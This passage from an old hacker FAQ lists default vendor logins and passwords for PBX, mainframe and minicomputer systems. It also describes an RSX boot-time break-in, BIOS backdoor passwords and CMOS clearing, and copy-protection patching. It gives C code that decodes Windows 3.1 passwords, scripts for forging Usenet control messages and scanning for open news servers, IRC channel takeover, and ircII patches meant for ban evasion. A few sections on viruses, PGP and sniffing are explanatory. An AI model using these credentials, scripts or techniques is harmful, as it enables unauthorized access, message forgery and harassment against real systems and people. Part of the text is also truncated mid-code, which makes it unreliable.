(system) SAPB5 (you) Password? (system) DROWSAP (you) OK, (system) ROLM CBX II ~~~~~~~~~~~ ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93 COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1 12:38:47 ON WEDNESDAY 2/15/1995 USERNAME: op PASSWORD: INVALID USERNAME-PASSWORD PAIR ROLM-OSL ~~~~~~~~ MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003 OSL, PLEASE. ? ROLM PhoneMail ~~~~~~~~~~~~~~ ROLM PhoneMail 9252 9254 Microcode Version 4.2 Copyright (C) ROLM Systems 1991 All Rights Reserved. PM Login> PM Password> ÿÿÿ System75 ~~~~~~~~ Login: root INCORRECT LOGIN Login: browse Password: Software Version: G3s.b16.2.2 Terminal Type (513, 4410, 4425): [513] Tops-10 ~~~~~~~ NIH Timesharing NIH Tri-SMP 7.02-FF 16:30:04 TTY11 system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN . VM/370 ~~~~~~ VM/370 ! VM/ESA ~~~~~~ VM/ESA ONLINE TBVM2 VM/ESA Rel 1.1 PUT 9200 Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===> PASSWORD ===> COMMAND ===> Xylogics Annex Communications Server ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. Checking authorization, Please wait... - Annex username: TNO - Optional security check Annex password: - Not always present Permission granted annex: --------------------------------------------------------------------------- A-18. What are the default accounts for XXX? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm password ibm 2222 ibm service qsecofr 1111111 qsecofr 2222222 qserv qserv qsvr qsvr secofr secofr qsrv ibmce1 DECserver ~~~~~~~~~ ACCESS SYSTEM Dynix (The library software, not the UnixOS) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Type 'later' to exit to the login prompt) setup library circ Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ HELLO MANAGER.SYS HELLO MGR.SYS HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP HELLO OP.OPERATOR MGR CAROLIAN MGR CCC MGR CNAS MGR CONV MGR COGNOS OPERATOR COGNOS MANAGER COGNOS OPERATOR DISC MGR HPDESK MGR HPWORD FIELD HPWORD MGR HPOFFICE SPOOLMAN HPOFFICE ADVMAIL HPOFFICE MAIL HPOFFICE WP HPOFFICE MANAGER HPOFFICE MGR HPONLY FIELD HPP187 MGR HPP187 MGR HPP189 MGR HPP196 MGR INTX3 MGR ITF3000 MANAGER ITF3000 MAIL MAIL MGR NETBASE MGR REGO MGR RJE MGR ROBELLE MANAGER SECURITY MGR SECURITY FIELD SERVICE MANAGER SYS MGR SYS PCUSER SYS RSBCMON SYS OPERATOR SYS OPERATOR SYSTEM FIELD SUPPORT OPERATOR SUPPORT MANAGER TCH MAIL TELESUP MANAGER TELESUP MGR TELESUP SYS TELESUP MGE VESOFT MGE VESOFT MGR WORD MGR XLSERVER Common jobs are Pub, Sys, Data Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote Major BBS ~~~~~~~~~ Sysop Sysop Mitel PBX ~~~~~~~~~ SYSTEM NeXTSTEP ~~~~~~~~ root NeXT signa signa me me or Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fax PICK O/S ~~~~~~~~ DSA # Desquetop System Administrator DS DESQUETOP PHANTOM PRIMOS ~~~~~~ PRIME PRIME SYSTEM SYSTEM PRIMOS PRIMOS ADMIN ADMIN RJE RJE DEMO DEMO GAMES GAMES GUEST GUEST REGIST REGIST TEST TEST NETMAN NETMAN PRIRUN PRIRUN TOOLS TOOLS CMDNC0 CMDMNC0 Prolog ~~~~~~ PBX PBX NETWORK NETWORK NETOP Radio Shack Screen Savers ~~~~~~~~~~~~~~~~~~~~~~~~~ RS Rolm ~~~~ CBX Defaults op op op operator su super admin pwp eng engineer PhoneMail Defaults sysadmin sysadmin tech tech poll tech RSX ~~~ SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) 1,1/system (Directory [1,1] Password SYSTEM) BATCH/BATCH SYSTEM/MANAGER USER/USER Default accounts for Micro/RSX: MICRO/RSX Alternately you can hit when the boot sequence asks you for the date and create an account using: RUN ACNT or RUN $ACNT (Numbers below 10 {oct} are privileged) Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot! If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge. type " run $acnt" and change the password of any account with a group number of 7 or less. You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times. If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured. SGI Irix ~~~~~~~~ 4DGifts guest demos lp nuucp tour tutor System 75 ~~~~~~~~~ bcim bcimpw bciim bciimpw bcms bcmspw, bcms bcnas bcnspw blue bluepw browse looker, browsepw craft crftpw, craftpw, crack cust custpw enquiry enquirypw field support inads indspw, inadspw, inads init initpw kraft kraftpw locate locatepw maint maintpw, rwmaint nms nmspw rcust rcustpw support supportpw tech field Taco Bell ~~~~~~~~~ rgm rollout tacobell Verifone Junior 2.05 ~~~~~~~~~~~~~~~~~~~~ Default password: 166816 VMS ~~~ field service systest utep XON / XON Junior ~~~~~~~~~~~~~~~~ Default password: 166831 --------------------------------------------------------------------------- A-19. What is a trojan/worm/virus/logic bomb? This FAQ answer was written by Theora: Trojan: Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans. Virus: A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore". Worm: Made famous by Robert Morris, Jr., worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers. Logic Bomb: Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself. --------------------------------------------------------------------------- A-20. How can I protect myself from viruses and such? This FAQ answer was written by Theora: The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding. Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month. New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any _good_ scanner will detect the majority of common viruses. No virus scanner will detect all viruses. Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling. You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof. You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute. Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they _could_ protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done. The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti- virus software from does not have a good technical support department, change companies. The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool. --------------------------------------------------------------------------- A-21. Where can I get more information about viruses? This FAQ answer was written by Theora: Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get - rid- of a virus. There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text. --------------------------------------------------------------------------- A-22. What is Cryptoxxxxxxx? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption. The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists. --------------------------------------------------------------------------- A-23. What is PGP? This FAQ answer is excerpted from: PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. --------------------------------------------------------------------------- A-24. What is Tempest? Tempest stands for Transient Electromagnetic Pulse Surveillance Technology. Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart. What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires. Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away. A monitoring device can distinguish between different sources emitting radiation because the sources emanating the radiation are made up of dissimilar elements and so this coupled with other factors varies the emitted frequency. For example different electronic components in VDUs, different manufacturing processes involved in reproducing the VDUs, different line syncs, etc... By synchronizing our raster with the targets raster we can passively draw the observed screen in real-time. This technology can be acquired by anyone, not just government agencies. The target could shield the emissions from her equipment or use equipment that does not generate strong emissions. However, Tempest equipment is not legal for civilian use in the United States. Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. Tempest certification refers to the equipment having passed a testing phase and agreeing to emanations rules specified in the government document NACSIM 5100A (Classified). This document sets forth the emanation levels that the US Government believes equipment can give off without compromising the information it is processing. --------------------------------------------------------------------------- A-25. How do I defeat Copy Protection? There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself. Writing a patch requires a debugger or a disassembler. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions. --------------------------------------------------------------------------- A-26. What are some available debuggers and disassemblers? Debuggers ~~~~~~~~~ Soft-Ice ($439) Soft-Ice for Windows ($329) Soft-Ice for Windows95 ($329) Soft-Ice for WindowsNT ($329) Nu-Mega Technologies, Inc. 9 Townsend West Nashua, NH 03063 http://www.numega.com ftp://ftp.numega.com (603)889-2386 (800)468-6342 D86 - Eric Isaacson's ShareWare debugger ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/d86v402.zip BrandX full-screen debugger ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/bxd26.zip Disassemblers ~~~~~~~~~~~~~ Sourcer ($95) V Communications, Inc. 4320 Stevens Creek Boulevard Suite 120 San Jose, CA 95129 (408)296-4224 (408)296-4441 Fax http://www.v-com.com/showcase.html#sourcer E-mail: sales@v-com.com IDA (Interactive Disassembler) ftp://ftp.kiae.su/.1/msdos/language/asm/dis/ida304.zip --------------------------------------------------------------------------- A-27. How do I defeat a BIOS password? This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common. Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed. Every BIOS must store this password information somewhere. If you are able to access the machine after it has been booted successfully, you may be able to view the password. You must know the memory address where the password is stored, and the format in which the password is stored. Or, you must have a program that knows these things. You can write your own program to read the CMOS memory on a PC by writing the address of the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents of port 0x371. [Note from Screech: I've always thought that it was 0x70 and 0x71 H.] [Note from qu@f.f: You're correct that the FAQ's incorrect H.] The most common pre-written BIOS password attack programs are for AMI BIOS. Some password attack programs will return the AMI BIOS password in plain text, some will return it in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the password attacker, but also on the version of AMI BIOS. To obtain AMI BIOS password attackers, ftp to oak.oakland.edu /pub/simtelnet/msdos/sysutl/. Award BIOS appears not to store the BIOS password, but instead only stores a two byte checksum of the BIOS password. This means that any other password with the same checksum will work just as well as the original password. In addition, Award BIOS seems to implement backdoor passwords. One backdoor password is eight spaces. Other backdoor passwords are "AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA", "ZAAAADA", and "ZJAAADC." Remember that these may not be the actual backdoor passwords, these passwords may simply have the same checksum as the actual backdoor passwords. This checksum is stored at F000:EC60. If you cannot access the machine after if has been powered up, it is still possible to get past the password. The password is stored in CMOS memory that is maintained while the PC is powered off by a small battery, which is attached to the motherboard. If you remove this battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup information to use the machine. The machines owner or user will most likely be alarmed when it is discovered that the BIOS password has been deleted. On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. If you cannot locate this jumper, you might short both of the points where the battery connects to the motherboard. Several people have reported positive results from doing this, but I haven't wanted to test it on any of my own motherboards. [Note from Dan Mellem: Another technique is to short out the battery for a few seconds. H.] [Note from Bluefish: In the !BIOS section you ought to list !BIOS and Greniers tools. http://www.11a.nu/ http://www.esiea.fr/public_html/Christophe.GRENIER/ H.] --------------------------------------------------------------------------- A-28. What is the password for ? This FAQ answer was written by crypt Magazine Password ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~ VLAD Magazine Issue #1 vlad VLAD Magazine Issue #2 vx VLAD Magazine Issue #3 virus NuKE InfoJournal Issue #2 514738 NuKE InfoJournal Issue #3 power NuKE InfoJournal Issue #4 party Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~ Sphere Hacker 1.40 & 1.41 theozone Virus Creation 2000 high level Virus Construction Lab Chiba City Ejecutor Virus Creator EJECUTOR Biological Warfare v0.90 lo tek Biological Warfare v1.00 freak --------------------------------------------------------------------------- A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code? This FAQ answer is an excerpt from SNIPPETS by Bob Stout: Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator. If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release. OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time. OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it? Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable). Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent. Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely. For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source. For more information, check out http://csee.uq.edu.au/csm/decompilation/. --------------------------------------------------------------------------- A-30. How does the MS-Windows password encryption work? This FAQ answer was written by Wayne Hoxsie : The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box. Anyway, I will attempt to relay what I have learned about this algorithm. I will describe the process starting after you've entered the password and hit the [OK] button. I will make the assumtion that everyone (at least those interested) know what the XOR operation is. First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7). Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted. The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character. 'hash2' is the final string and this is what windows saves in the file CONTROL.INI. To 'decrypt' the password, the above procedure is just reversed. Now, what you've all been waiting for. Here is some C code that will do the dirty work for you: #include #include #include int xor1(int i,int j) { int x; x=i^j; return (x>126||x<33||x==91||x==93||x==61)?i:x; } void main() { FILE *f; int i,l; char s[80],s1[80]; printf("Please enter the path to your Windows directory\n"); gets(s1); sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\"); if((f=fopen(s,"rt"))==NULL){ printf("File Error : %s\n",sys_errlist[errno]); exit(0); } while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f)); fclose(f); strtok(s1,"=\n"); strcpy(s,strtok(NULL,"\n")); i=strlen(s)-1; for(l=i;l>-1;l--) s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1); for(l=0;l Control: cancel Approved: luser@twits.site.com Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like Subject: cmsg newgroup comp.misc.microsoft.sucks Control: newgroup comp.misc.microsoft.sucks Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating: For your newsgroups file: comp.misc.microsoft.sucks We don't do windows To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended. Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script: ======================= #! /bin/sh ## Post an article via IHAVE. ## args: filename server if test "$2" = "" ; then echo usage: $0 filename server exit 1 fi if test ! -f $1 ; then echo $1: not found exit 1 fi # suck msg-id out of headers, keep the brackets msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \ sed 's/.*-[Ii][Dd]: //'` echo $msgid ( sleep 5 echo IHAVE $msgid sleep 5 cat $1 sleep 1 echo "." sleep 1 echo QUIT ) | telnet $2 119 ======================= If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash. ======================= #! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp ======================= Once you have your host list, feed it to the following script. ======================= #! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave IamSOk00l@podunk.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet done ======================= If the above script is called "findem" and you're using csh, you should do findem < list >& outfile so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears. Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running. You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use. PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY. --------------------------------------------------------------------------- B-03. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. --------------------------------------------------------------------------- B-04. How do I modify the IRC client to hide my real username? Note: This FAQ answer was written by someone else, but I do not know who. If you know who originally wrote this, please e-mail me. -- BEGIN QUOTED TEXT -- Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows: * /NEWUSER [new_IRCNAME] * is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channel you * are currently on and keep your current nickname. The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be REALLY obnoxious in ban evasion. ;) As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned): on ^474 * { echo *** Banned from channel $1 if ($N == [AnnMurray]) { nick $randomstring join $1 } { nick AnnMurray newuser $randomstring timer 5 join $1 } } Or just to be annoying... a /BE alias that will assume a person's username and IRCNAME: alias be { ^on ^311 * { ^on 311 -* newuser $2 $5- } whois $0 } Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes: Locate the line which reads: extern void server(); Insert the following line after it: static void newuser(); This pre-defines a new function "newuser()" that we'll add later. Now, locate the line which reads: "NAMES", "NAMES", funny_stuff, 0, Insert the following line after it: "NEWUSER", NULL, newuser, 0, This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it. Finally, go the bottom of the file and add the following code as our new function "newuser()": /* * newuser: the /NEWUSER command. Added by Hendrix * Parameters as follows: * /NEWUSER [new_IRCNAME] * is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channels you * are currently on and keep your current nickname. */ static void newuser(command, args) char *command, *args; { char *newuname; if (newuname = next_arg(args, &args)) { strmcpy(username, newuname, NAME_LEN); if (*args) strmcpy(realname, args, REALNAME_LEN); say("Reconnecting to server..."); close_server(from_server); if (connect_to_server(server_list[from_server].name, server_list[from_server].port, primary_server) != -1) { change_server_channels(primary_server, from_server); set_window_server(-1, from_server, 1); } else say("Unable to reconnect. Use /SERVER to connect."); } else say("You must specify a username and, optionally, an IRCNAME"); } -- END QUOTED TEXT -- /NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried. *** ctcp.old --- ctcp.c *************** *** 334 **** ! char c; --- 334 --- ! char c, *fing; *************** *** 350,354 **** ! if (pwd = getpwuid(uid)) { char *tmp; --- 350,356 ---- ! if (fing = getenv("CTCPFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; --------------------------------------------------------------------------- --------------------------------------------------------------------------- B-05. What is sniffing? Sniffing is listening (with software) to the raw network device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." You will have to obtain or code a sniffer that is capable of working with the appropriate type of network interface. Popular network interfaces include NIT (Network Interface Tap), and DLPI (Data Link Provider Interface), and BPF (Berkeley Packet Filter.) LLI was a network interface used by SCO, which has been augmented with DLPI support as of SCO OpenServer Release V. NIT was a network interface used by Sun, but has been replaced in later releases of SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter before Digital implemented support for BPF. DLPI is supported under current releases of System V Release 4, SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS. DLPI is partially supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25 LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync as data-link protocols. The DLPI network interface provided with HP/UX supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel. For more information regarding DLPI, access the DLPI Specification at http://fiver.sns.com/solaris_x86/x86_drivers/ or FTP the paper "How to Use DLPI in Solaris 2.x" by Neal Nuckolls from newstop.ebay.sun.com in /sun/SunOS5.0/dltest.tar.Z. BPF is supported under current releases of BSD and Digital Unix, and has been ported to SunOS and Solaris. AIX supports BPF reads, but not writes. A BPF library is available for Linux. Many sniffers are available for various operating systems: OS Sniffer ~~ ~~~~~~~ 4.3/4.4 BSD tcpdump /* Available via anonymous ftp */ FreeBSD tcpdump /* Available via anonymous ftp at */ /* gatekeeper.dec.com */ /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */ NetBSD tcpdump /* Available via anonymous ftp at */ /* gatekeeper.dec.com */ /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */ DEC Unix tcpdump /* Available via anonymous ftp */ DEC Ultrix tcpdump /* Available via anonymous ftp */ 